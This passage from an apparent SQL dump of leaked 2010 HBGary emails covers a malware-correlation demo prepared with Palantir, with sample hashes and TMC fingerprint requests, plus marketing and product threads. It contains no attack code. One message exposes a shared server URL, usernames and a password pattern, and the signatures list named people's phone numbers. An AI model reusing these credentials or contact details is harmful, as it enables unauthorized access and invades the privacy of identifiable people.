deadline is coming up -- Aaron, can we meet again this Friday to work on the presentation some more? I also need some data from you, which I\'ve called out at the end of this message; including TMC samples we discussed last friday.\r\n>>>>>>\r\n>>>>>>   But first, Progress!\r\n>>>>>>   I tried a new correlation technique -- a much simpler one. Using sqlite, I identified all malware with more than 20 fingerprints in common with one (or more) of the APT samples. I then imported those Commonality records (a new datatype) as linking events in Palantir.\r\n>>>>>>\r\n>>>>>> 6 of the malware samples don\'t have high Commonality with any of the APT samples -- you\'ll see those off to the side in the attached screenshot.\r\n>>>>>>\r\n>>>>>> 4 of the malware objects seem to be relatively tightly coupled to each other through some of the original samples:\r\n>>>>>>\r\n>>>>>>   99ba36a387f82369440fa3858ed2c7ae\r\n>>>>>>   83d7e99ace330a6301ab6423b16701de\r\n>>>>>>   c10222e198dd1b32f19d2c3bf55880cd\r\n>>>>>>   ae7bf771b80576ec88469a1bc495812e\r\n>>>>>>\r\n>>>>>> And one of the malware objects has a few commonalities with the others, but several malware objects that are only similar to it (and not the other 4):\r\n>>>>>>\r\n>>>>>>   279162665e7c01624091afb19b7d7f4c\r\n>>>>>>\r\n>>>>>> The screenshot makes this all very clear.\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> To complete the presentation, we\'ll want to take those four malware objects -- and possibly the linked malware objects as well -- and also import some of the additional fingerprint data available from TMC -- IP addresses they call out to, interesting strings, etc. -- and further augment *that* data with things we learn from social network information.\r\n>>>>>>\r\n>>>>>> The first practice sessions for GovCon are next *Tuesday* the 5th. They snapshot the data to build the servers used during the presentation the following day, the 6th. While we can make some changes after this date, ideally we\'ll have all the data we\'ll need for our presentation by next Tuesday.\r\n>>>>>>\r\n>>>>>> All of this data has been imported into the investigation named \"Commonality\" on our shared Palantir instance.\r\n>>>>>>\r\n>>>>>> Aaron or Ted, can you provide me with some sample TMC output -- or complete TMC output for just the malware samples in the attacked XLS file? (this shows the APT malware hash, the malware hash from the original 100mb fingerprint set, and the number of common properties for each).\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> _________________________________________________________\r\n>>>>>> Aaron Zollman\r\n>>>>>> Palantir Technologies | Embedded Analyst\r\n>>>>>> azollman@palantir.com | 202-684-8066\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Zollman\r\n>>>>>> Sent: Wednesday, September 22, 2010 9:44 PM\r\n>>>>>> To: \'Ted Vera\'\r\n>>>>>> Cc: Barr Aaron; mark@hbgary.com\r\n>>>>>> Subject: RE: Malware presentation at Palantir GovCon\r\n>>>>>>\r\n>>>>>> Ted --\r\n>>>>>>\r\n>>>>>> Having imported the fingerprints, I\'m not even seeing clear correlations *within* the 11 files contained in this dataset. Different samples use different debugger counters, different data conversion fields, etc... while I\'m sure I could find matches on any subset of these fields in the dataset, I don\'t know enough about these fields to understand which are more or less meaningful. And the compile times aren\'t even cleanly clustered, except for a spike near the 2009-2010 boundary. Is there a subset of either these malware objects or fingerprints I should be looking at closely?\r\n>>>>>>\r\n>>>>>> The shared instance is now up and running, as well. You\'ll need Java 6 installed on your machine to access it, but you can launch the workspace at:\r\n>>>>>> https://host25.paas.palantirtech.com:25280/\r\n>>>>>>\r\n>>>>>> Your usernames are aaron, ted, and mark, and passwords are your name plus \'s2010 (eg, ted\'s password is \"Ted\'s2010\"). The new APT samples are in an investigation named \"New APT Samples\" -- once you log in, choose \"open investigation\" under the \"Investigation\" menu and look for it there.\r\n>>>>>>\r\n>>>>>> I\'ve sent a calendar invite to Aaron B for Friday at 11am to talk through next steps for the analysis -- of course, all of you are welcome if you\'re in the area.\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> _________________________________________________________\r\n>>>>>> Aaron Zollman\r\n>>>>>> Palantir Technologies | Embedded Analyst azollman@palantir.com | 202-684-8066\r\n>>>>>>\r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>>>>> Sent: Friday, September 17, 2010 6:56 PM\r\n>>>>>> To: Aaron Zollman\r\n>>>>>> Cc: Barr Aaron; mark@hbgary.com\r\n>>>>>> Subject: Malware presentation at Palantir GovCon\r\n>>>>>>\r\n>>>>>> Hi Aaron,\r\n>>>>>>\r\n>>>>>> Attached are some known APT samples from an ongoing investigation.\r\n>>>>>> Please add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\n>>>>>>\r\n>>>>>> Hope you have a nice weekend!\r\n>>>>>> Ted\r\n>>>>>> \r\n>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal, LLC\r\n>>>>> 719.510.8478\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n',14661,'aaron_hbgary_com/14661.html'),(12443,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009168.M875240P14101Q7298.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Malware presentation at Palantir GovCon','No worries.  Those are them I am pretty sure.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 30, 2010, at 8:16 AM, Mark Trynor  wrote:\r\n\r\n> My appologies on this as my heads been down working on getting the tmc prototype to work.  What 11 binaries?  Who has them?  Are those the ones ted did the fingerprint data on?  If so, Ted: where are those?\r\n>\r\n> Aaron Barr  wrote:\r\n>\r\n>> Ok can you take the 11 QQ binaries and run them through the tmc and\r\n>> send that data to Aaron?\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Sep 30, 2010, at 8:04 AM, Mark Trynor  wrote:\r\n>>\r\n>>> New we have one binary that was a test that I ran through and we have in the database.  Old we don\'t have anything we deleted it to try and get the old one running.\r\n>>>\r\n>>> What do you mean by malware set?  Are they similar types of malware or do you just mean a bunch of malware?  If you mean a bunch of malware we need to turn on a bunch of tmc nodes, load all the malware onto a server, set up the database, set up the nodes with vmware server, create the base os images, and then we will have a database full of stuff like the one entry we have now.\r\n>>>\r\n>>> Aaron Barr  wrote:\r\n>>>\r\n>>>> What is the form of the tmc data that we have? Both old and new?\r\n>>>> Don\'t we have the tmc data from the previous tmc?\r\n>>>>\r\n>>>> If we have no tmc data then what can we do to get tmc data on specific\r\n>>>> malware sets?\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> Sent from my iPhone\r\n>>>>\r\n>>>> On Sep 30, 2010, at 7:48 AM, Mark Trynor  wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>> We don\'t have any TMC samples.  What\'s a responder data set?\r\n>>>>>\r\n>>>>> Thanks,\r\n>>>>> Mark\r\n>>>>>\r\n>>>>> On 09/30/2010 08:35 AM, Aaron Barr wrote:\r\n>>>>>> Hi Aaron,\r\n>>>>>>\r\n>>>>>> I can meet on Monday.  This week I am in Oregon for my Sisters wedding.\r\n>>>>>>\r\n>>>>>> Mark,\r\n>>>>>> Please send Aaron a few TMC data samples.  If the TMC data samples are too scattered at the moment can you send him some responder data sets?\r\n>>>>>>\r\n>>>>>> Aaron,\r\n>>>>>> I would like to get on the phone and discuss this today if possible.  I have some questions.\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>> On Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n>>>>>>\r\n>>>>>>> All --\r\n>>>>>>>\r\n>>>>>>>  The deadline is coming up -- Aaron, can we meet again this Friday to work on the presentation some more? I also need some data from you, which I\'ve called out at the end of this message; including TMC samples we discussed last friday.\r\n>>>>>>>\r\n>>>>>>>  But first, Progress!\r\n>>>>>>>  I tried a new correlation technique -- a much simpler one. Using sqlite, I identified all malware with more than 20 fingerprints in common with one (or more) of the APT samples. I then imported those Commonality records (a new datatype) as linking events in Palantir.\r\n>>>>>>>\r\n>>>>>>> 6 of the malware samples don\'t have high Commonality with any of the APT samples -- you\'ll see those off to the side in the attached screenshot.\r\n>>>>>>>\r\n>>>>>>> 4 of the malware objects seem to be relatively tightly coupled to each other through some of the original samples:\r\n>>>>>>>\r\n>>>>>>>  99ba36a387f82369440fa3858ed2c7ae\r\n>>>>>>>  83d7e99ace330a6301ab6423b16701de\r\n>>>>>>>  c10222e198dd1b32f19d2c3bf55880cd\r\n>>>>>>>  ae7bf771b80576ec88469a1bc495812e\r\n>>>>>>>\r\n>>>>>>> And one of the malware objects has a few commonalities with the others, but several malware objects that are only similar to it (and not the other 4):\r\n>>>>>>>\r\n>>>>>>>  279162665e7c01624091afb19b7d7f4c\r\n>>>>>>>\r\n>>>>>>> The screenshot makes this all very clear.\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> To complete the presentation, we\'ll want to take those four malware objects -- and possibly the linked malware objects as well -- and also import some of the additional fingerprint data available from TMC -- IP addresses they call out to, interesting strings, etc. -- and further augment *that* data with things we learn from social network information.\r\n>>>>>>>\r\n>>>>>>> The first practice sessions for GovCon are next *Tuesday* the 5th. They snapshot the data to build the servers used during the presentation the following day, the 6th. While we can make some changes after this date, ideally we\'ll have all the data we\'ll need for our presentation by next Tuesday.\r\n>>>>>>>\r\n>>>>>>> All of this data has been imported into the investigation named \"Commonality\" on our shared Palantir instance.\r\n>>>>>>>\r\n>>>>>>> Aaron or Ted, can you provide me with some sample TMC output -- or complete TMC output for just the malware samples in the attacked XLS file? (this shows the APT malware hash, the malware hash from the original 100mb fingerprint set, and the number of common properties for each).\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> _________________________________________________________\r\n>>>>>>> Aaron Zollman\r\n>>>>>>> Palantir Technologies | Embedded Analyst\r\n>>>>>>> azollman@palantir.com | 202-684-8066\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Aaron Zollman\r\n>>>>>>> Sent: Wednesday, September 22, 2010 9:44 PM\r\n>>>>>>> To: \'Ted Vera\'\r\n>>>>>>> Cc: Barr Aaron; mark@hbgary.com\r\n>>>>>>> Subject: RE: Malware presentation at Palantir GovCon\r\n>>>>>>>\r\n>>>>>>> Ted --\r\n>>>>>>>\r\n>>>>>>> Having imported the fingerprints, I\'m not even seeing clear correlations *within* the 11 files contained in this dataset. Different samples use different debugger counters, different data conversion fields, etc... while I\'m sure I could find matches on any subset of these fields in the dataset, I don\'t know enough about these fields to understand which are more or less meaningful. And the compile times aren\'t even cleanly clustered, except for a spike near the 2009-2010 boundary. Is there a subset of either these malware objects or fingerprints I should be looking at closely?\r\n>>>>>>>\r\n>>>>>>> The shared instance is now up and running, as well. You\'ll need Java 6 installed on your machine to access it, but you can launch the workspace at:\r\n>>>>>>> https://host25.paas.palantirtech.com:25280/\r\n>>>>>>>\r\n>>>>>>> Your usernames are aaron, ted, and mark, and passwords are your name plus \'s2010 (eg, ted\'s password is \"Ted\'s2010\"). The new APT samples are in an investigation named \"New APT Samples\" -- once you log in, choose \"open investigation\" under the \"Investigation\" menu and look for it there.\r\n>>>>>>>\r\n>>>>>>> I\'ve sent a calendar invite to Aaron B for Friday at 11am to talk through next steps for the analysis -- of course, all of you are welcome if you\'re in the area.\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> _________________________________________________________\r\n>>>>>>> Aaron Zollman\r\n>>>>>>> Palantir Technologies | Embedded Analyst azollman@palantir.com | 202-684-8066\r\n>>>>>>>\r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>>>>>> Sent: Friday, September 17, 2010 6:56 PM\r\n>>>>>>> To: Aaron Zollman\r\n>>>>>>> Cc: Barr Aaron; mark@hbgary.com\r\n>>>>>>> Subject: Malware presentation at Palantir GovCon\r\n>>>>>>>\r\n>>>>>>> Hi Aaron,\r\n>>>>>>>\r\n>>>>>>> Attached are some known APT samples from an ongoing investigation.\r\n>>>>>>> Please add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\n>>>>>>>\r\n>>>>>>> Hope you have a nice weekend!\r\n>>>>>>> Ted\r\n>>>>>>> \r\n>>>>>>\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal, LLC\r\n>>>>>> 719.510.8478\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n',4609,'aaron_hbgary_com/4609.html'),(12444,'2010-09-30','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297009169.M236651P14101Q7299.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,','Re: viral marketing idea involving rap','Hi Greg, I like the video idea a lot. We would need to get more info on cost. I can check into it. K\r\n \r\nOn Wed, Sep 29, 2010 at 11:08 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n \r\nTeam,\r\n \r\nPlease watch this video.  It has the F word be warned.  http://www.youtube.com/watch?v=VgvM7av1o1Q\r\n \r\nThis is CCP.  They are a customer of HBGary&#39;s.  They are a game company, which might explain their off-the-wall antics.\r\n \r\nI watch this and imagine our people at HBGary talking shit about Chinese Hackers and how Mandiant can&#39;t touch us.  And yes, we use their First Name.  Guidance too.\r\n \r\nMaybe too bold, but I can&#39;t help but think the Jim&#39;s and Jeffrey&#39;s of the world would watch this and think &quot;Holy Shit HBGary is Core&quot;.  They would.  And it would be viral.  I can&#39;t help but think this would translate into more sales.\r\n\r\n \r\nCan we organize a music video like this?  Is this too left-field for a &quot;security company&quot;.  Why not - we are on the frontier - we are on the edge?\r\n \r\nCan we have something like this developed for less than $20,000 ??  Is this just a dumb idea?\r\n \r\n-Greg\r\n \r\nps. here is their outtake video - give you an idea how this was a real production (http://www.youtube.com/watch?v=g9E-iTpJ3U8)\r\n-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\n',5768,'aaron_hbgary_com/5768.html'),(12445,'2010-09-30','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009169.M788542P14101Q7300.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: Malware presentation at Palantir GovCon','Aaron,\r\n\r\nUnderstood. I\'ll be in the office all day Monday.\r\n\r\nIdeally we\'d see the TMC output for the samples referenced by hash in the\r\nXLS I attached in my previous message; other TMC output could work but would\r\nchange the demo path we\'d been expecting.\r\n\r\nI am in meetings until about 2:30 but will call you afterwards.\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, September 30, 2010 10:36 AM\r\nTo: Aaron Zollman\r\nCc: Ted Vera; mark@hbgary.com; Matthew Steckman\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\nHi Aaron,\r\n\r\nI can meet on Monday.  This week I am in Oregon for my Sisters wedding.\r\n\r\nMark,\r\nPlease send Aaron a few TMC data samples.  If the TMC data samples are too\r\nscattered at the moment can you send him some responder data sets?\r\n\r\nAaron,\r\nI would like to get on the phone and discuss this today if possible.  I have\r\nsome questions.\r\n\r\nAaron\r\nOn Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n\r\n> All --\r\n> \r\n> 	The deadline is coming up -- Aaron, can we meet again this Friday to\r\nwork on the presentation some more? I also need some data from you, which\r\nI\'ve called out at the end of this message; including TMC samples we\r\ndiscussed last friday.\r\n> \r\n> 	But first, Progress!\r\n> 	I tried a new correlation technique -- a much simpler one. Using\r\nsqlite, I identified all malware with more than 20 fingerprints in common\r\nwith one (or more) of the APT samples. I then imported those Commonality\r\nrecords (a new datatype) as linking events in Palantir. \r\n> \r\n> 6 of the malware samples don\'t have high Commonality with any of the APT\r\nsamples -- you\'ll see those off to the side in the attached screenshot. \r\n> \r\n> 4 of the malware objects seem to be relatively tightly coupled to each\r\nother through some of the original samples:\r\n> \r\n> 	99ba36a387f82369440fa3858ed2c7ae\r\n> 	83d7e99ace330a6301ab6423b16701de\r\n> 	c10222e198dd1b32f19d2c3bf55880cd\r\n> 	ae7bf771b80576ec88469a1bc495812e\r\n> \r\n> And one of the malware objects has a few commonalities with the others,\r\nbut several malware objects that are only similar to it (and not the other\r\n4):\r\n> \r\n> 	279162665e7c01624091afb19b7d7f4c\r\n> \r\n> The screenshot makes this all very clear.\r\n> \r\n> \r\n> To complete the presentation, we\'ll want to take those four malware\r\nobjects -- and possibly the linked malware objects as well -- and also\r\nimport some of the additional fingerprint data available from TMC -- IP\r\naddresses they call out to, interesting strings, etc. -- and further augment\r\n*that* data with things we learn from social network information. \r\n> \r\n> The first practice sessions for GovCon are next *Tuesday* the 5th. They\r\nsnapshot the data to build the servers used during the presentation the\r\nfollowing day, the 6th. While we can make some changes after this date,\r\nideally we\'ll have all the data we\'ll need for our presentation by next\r\nTuesday.\r\n> \r\n> All of this data has been imported into the investigation named\r\n\"Commonality\" on our shared Palantir instance.\r\n> \r\n> Aaron or Ted, can you provide me with some sample TMC output -- or\r\ncomplete TMC output for just the malware samples in the attacked XLS file?\r\n(this shows the APT malware hash, the malware hash from the original 100mb\r\nfingerprint set, and the number of common properties for each).\r\n> \r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Zollman \r\n> Sent: Wednesday, September 22, 2010 9:44 PM\r\n> To: \'Ted Vera\'\r\n> Cc: Barr Aaron; mark@hbgary.com\r\n> Subject: RE: Malware presentation at Palantir GovCon\r\n> \r\n> Ted --\r\n> \r\n> Having imported the fingerprints, I\'m not even seeing clear correlations\r\n*within* the 11 files contained in this dataset. Different samples use\r\ndifferent debugger counters, different data conversion fields, etc... while\r\nI\'m sure I could find matches on any subset of these fields in the dataset,\r\nI don\'t know enough about these fields to understand which are more or less\r\nmeaningful. And the compile times aren\'t even cleanly clustered, except for\r\na spike near the 2009-2010 boundary. Is there a subset of either these\r\nmalware objects or fingerprints I should be looking at closely?\r\n> \r\n> The shared instance is now up and running, as well. You\'ll need Java 6\r\ninstalled on your machine to access it, but you can launch the workspace at:\r\n\r\n> https://host25.paas.palantirtech.com:25280/\r\n> \r\n> Your usernames are aaron, ted, and mark, and passwords are your name plus\r\n\'s2010 (eg, ted\'s password is \"Ted\'s2010\"). The new APT samples are in an\r\ninvestigation named \"New APT Samples\" -- once you log in, choose \"open\r\ninvestigation\" under the \"Investigation\" menu and look for it there.\r\n> \r\n> I\'ve sent a calendar invite to Aaron B for Friday at 11am to talk through\r\nnext steps for the analysis -- of course, all of you are welcome if you\'re\r\nin the area.\r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst azollman@palantir.com |\r\n202-684-8066\r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, September 17, 2010 6:56 PM\r\n> To: Aaron Zollman\r\n> Cc: Barr Aaron; mark@hbgary.com\r\n> Subject: Malware presentation at Palantir GovCon\r\n> \r\n> Hi Aaron,\r\n> \r\n> Attached are some known APT samples from an ongoing investigation.\r\n> Please add these to the samples Aaron B sent you.  If you find any\r\ncorrelations please send me screenshots as it will help with this\r\ninvestigation.\r\n> \r\n> Hope you have a nice weekend!\r\n> Ted\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',4620,'aaron_hbgary_com/4620.html'),(12446,'2010-09-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009170.M673188P14101Q7301.eml','all@hbgary.com','HBGary Inoculator (Handout)',' \r\nTeam,\r\n \r\nI have created a mockup of the new Inoculator product and written a short 1-page summary that you can use with customers (attached).  This is a separate product from AD.  There is nothing else on the market like it.  I would encourage you to use this as a sales tool.  HBGary Engineering is currently planning on development of Inoculator sometime in Q4/Q1.  It will ship as an appliance.  It does not use agents.  A single appliance will be able to handle 50,000+ nodes.  It puts the power of remediation in the hands of the customer so they no longer have to rely on their AV vendor for DAT-file update.  Please contact Penny regarding pricing and what latitudes she has in mind for your pipeline.  Early adopters of Inoculator are welcome.  If you can use it as a sweetener to bring in an Active Defense deal in Q4 I am all for it.\r\n\r\n \r\n-Greg Hoglund\r\nCEO, HBGary, Inc.\r\n \r\nps. We have started the patent process for the Antibody system.  We have not yet secured the trademark on Inoculator.\r\n',12020,'aaron_hbgary_com/12020.html'),(12447,'2010-09-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009170.M981285P14101Q7302.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Malware presentation at Palantir GovCon','I should have the fingerprint data from Martin by 2PM PST today.\r\n \r\n-Greg\r\nOn Thu, Sep 30, 2010 at 7:37 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nPalantir went down a different path.  Not a bad thing based on the data presented.  Let me know what you think.  The &quot;APT&quot; samples they have are from QQ.  So the QQ malware is showing some interesting correlations amongst the larger malware sample set. \r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Aaron Zollman &lt;azollman@palantir.com&gt;\r\n\r\nDate: September 28, 2010 10:16:45 PM EDT\r\n\r\nTo: Barr Aaron &lt;aaron@hbgary.com&gt;, Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\nCc: &quot;mark@hbgary.com&quot; &lt;mark@hbgary.com&gt;, Matthew Steckman &lt;msteckman@palantir.com&gt;\r\n\r\nSubject: RE: Malware presentation at Palantir GovCon\r\n\r\nAll --The deadline is coming up -- Aaron, can we meet again this Friday to work on the presentation some more? I also need some data from you, which I&#39;ve called out at the end of this message; including TMC samples we discussed last friday.\r\nBut first, Progress!I tried a new correlation technique -- a much simpler one. Using sqlite, I identified all malware with more than 20 fingerprints in common with one (or more) of the APT samples. I then imported those Commonality records (a new datatype) as linking events in Palantir. \r\n6 of the malware samples don&#39;t have high Commonality with any of the APT samples -- you&#39;ll see those off to the side in the attached screenshot. 4 of the malware objects seem to be relatively tightly coupled to each other through some of the original samples:\r\n99ba36a387f82369440fa3858ed2c7ae83d7e99ace330a6301ab6423b16701dec10222e198dd1b32f19d2c3bf55880cd\r\nae7bf771b80576ec88469a1bc495812eAnd one of the malware objects has a few commonalities with the others, but several malware objects that are only similar to it (and not the other 4):\r\n279162665e7c01624091afb19b7d7f4cThe screenshot makes this all very clear.To complete the presentation, we&#39;ll want to take those four malware objects -- and possibly the linked malware objects as well -- and also import some of the additional fingerprint data available from TMC -- IP addresses they call out to, interesting strings, etc. -- and further augment *that* data with things we learn from social network information. \r\nThe first practice sessions for GovCon are next *Tuesday* the 5th. They snapshot the data to build the servers used during the presentation the following day, the 6th. While we can make some changes after this date, ideally we&#39;ll have all the data we&#39;ll need for our presentation by next Tuesday.\r\nAll of this data has been imported into the investigation named &quot;Commonality&quot; on our shared Palantir instance.Aaron or Ted, can you provide me with some sample TMC output -- or complete TMC output for just the malware samples in the attacked XLS file? (this shows the APT malware hash, the malware hash from the original 100mb fingerprint set, and the number of common properties for each).\r\n_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantir.com | 202-684-8066\r\n-----Original Message-----From: Aaron Zollman Sent: Wednesday, September 22, 2010 9:44 PMTo: &#39;Ted Vera&#39;Cc: Barr Aaron; mark@hbgary.com\r\nSubject: RE: Malware presentation at Palantir GovConTed --Having imported the fingerprints, I&#39;m not even seeing clear correlations *within* the 11 files contained in this dataset. Different samples use different debugger counters, different data conversion fields, etc... while I&#39;m sure I could find matches on any subset of these fields in the dataset, I don&#39;t know enough about these fields to understand which are more or less meaningful. And the compile times aren&#39;t even cleanly clustered, except for a spike near the 2009-2010 boundary. Is there a subset of either these malware objects or fingerprints I should be looking at closely?\r\nThe shared instance is now up and running, as well. You&#39;ll need Java 6 installed on your machine to access it, but you can launch the workspace at: https://host25.paas.palantirtech.com:25280/\r\nYour usernames are aaron, ted, and mark, and passwords are your name plus &#39;s2010 (eg, ted&#39;s password is &quot;Ted&#39;s2010&quot;). The new APT samples are in an investigation named &quot;New APT Samples&quot; -- once you log in, choose &quot;open investigation&quot; under the &quot;Investigation&quot; menu and look for it there.\r\nI&#39;ve sent a calendar invite to Aaron B for Friday at 11am to talk through next steps for the analysis -- of course, all of you are welcome if you&#39;re in the area._________________________________________________________\r\nAaron ZollmanPalantir Technologies | Embedded Analyst azollman@palantir.com | 202-684-8066-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Friday, September 17, 2010 6:56 PMTo: Aaron ZollmanCc: Barr Aaron; mark@hbgary.comSubject: Malware presentation at Palantir GovConHi Aaron,\r\nAttached are some known APT samples from an ongoing investigation.Please add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\nHope you have a nice weekend!Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n',6133,'aaron_hbgary_com/6133.html'),(12448,'2010-09-30','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297009171.M390405P14101Q7303.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Malware presentation at Palantir GovCon','Aaron,\r\n\r\nThe TMC doesn&#39;t generate a hash like they have in the spreadsheet.  I \r\nhave no idea what samples they used for that, however, it does look like\r\n there are only 5 unique hashes under apt_mw.\r\n\r\nMark---------- Forwarded message ----------From: Aaron Zollman &lt;azollman@palantir.com&gt;\r\nDate: Thu, Sep 30, 2010 at 10:09 AMSubject: RE: Malware presentation at Palantir GovConTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Ted Vera &lt;ted@hbgary.com&gt;, &quot;mark@hbgary.com&quot; &lt;mark@hbgary.com&gt;, Matthew Steckman &lt;msteckman@palantir.com&gt;\r\nAaron,\r\n\r\nUnderstood. I&#39;ll be in the office all day Monday.\r\n\r\nIdeally we&#39;d see the TMC output for the samples referenced by hash in the\r\nXLS I attached in my previous message; other TMC output could work but would\r\nchange the demo path we&#39;d been expecting.\r\n\r\nI am in meetings until about 2:30 but will call you afterwards.\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, September 30, 2010 10:36 AM\r\nTo: Aaron Zollman\r\nCc: Ted Vera; mark@hbgary.com; Matthew Steckman\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\nHi Aaron,\r\n\r\nI can meet on Monday.  This week I am in Oregon for my Sisters wedding.\r\n\r\nMark,\r\nPlease send Aaron a few TMC data samples.  If the TMC data samples are too\r\nscattered at the moment can you send him some responder data sets?\r\n\r\nAaron,\r\nI would like to get on the phone and discuss this today if possible.  I have\r\nsome questions.\r\n\r\nAaron\r\nOn Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n\r\n&gt; All --\r\n&gt;\r\n&gt;       The deadline is coming up -- Aaron, can we meet again this Friday to\r\nwork on the presentation some more? I also need some data from you, which\r\nI&#39;ve called out at the end of this message; including TMC samples we\r\ndiscussed last friday.\r\n&gt;\r\n&gt;       But first, Progress!\r\n&gt;       I tried a new correlation technique -- a much simpler one. Using\r\nsqlite, I identified all malware with more than 20 fingerprints in common\r\nwith one (or more) of the APT samples. I then imported those Commonality\r\nrecords (a new datatype) as linking events in Palantir.\r\n&gt;\r\n&gt; 6 of the malware samples don&#39;t have high Commonality with any of the APT\r\nsamples -- you&#39;ll see those off to the side in the attached screenshot.\r\n&gt;\r\n&gt; 4 of the malware objects seem to be relatively tightly coupled to each\r\nother through some of the original samples:\r\n&gt;\r\n&gt;       99ba36a387f82369440fa3858ed2c7ae\r\n&gt;       83d7e99ace330a6301ab6423b16701de\r\n&gt;       c10222e198dd1b32f19d2c3bf55880cd\r\n&gt;       ae7bf771b80576ec88469a1bc495812e\r\n&gt;\r\n&gt; And one of the malware objects has a few commonalities with the others,\r\nbut several malware objects that are only similar to it (and not the other\r\n4):\r\n&gt;\r\n&gt;       279162665e7c01624091afb19b7d7f4c\r\n&gt;\r\n&gt; The screenshot makes this all very clear.\r\n&gt;\r\n&gt;\r\n&gt; To complete the presentation, we&#39;ll want to take those four malware\r\nobjects -- and possibly the linked malware objects as well -- and also\r\nimport some of the additional fingerprint data available from TMC -- IP\r\naddresses they call out to, interesting strings, etc. -- and further augment\r\n*that* data with things we learn from social network information.\r\n&gt;\r\n&gt; The first practice sessions for GovCon are next *Tuesday* the 5th. They\r\nsnapshot the data to build the servers used during the presentation the\r\nfollowing day, the 6th. While we can make some changes after this date,\r\nideally we&#39;ll have all the data we&#39;ll need for our presentation by next\r\nTuesday.\r\n&gt;\r\n&gt; All of this data has been imported into the investigation named\r\n&quot;Commonality&quot; on our shared Palantir instance.\r\n&gt;\r\n&gt; Aaron or Ted, can you provide me with some sample TMC output -- or\r\ncomplete TMC output for just the malware samples in the attacked XLS file?\r\n(this shows the APT malware hash, the malware hash from the original 100mb\r\nfingerprint set, and the number of common properties for each).\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; _________________________________________________________\r\n&gt; Aaron Zollman\r\n&gt; Palantir Technologies | Embedded Analyst\r\n&gt; azollman@palantir.com | 202-684-8066\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; 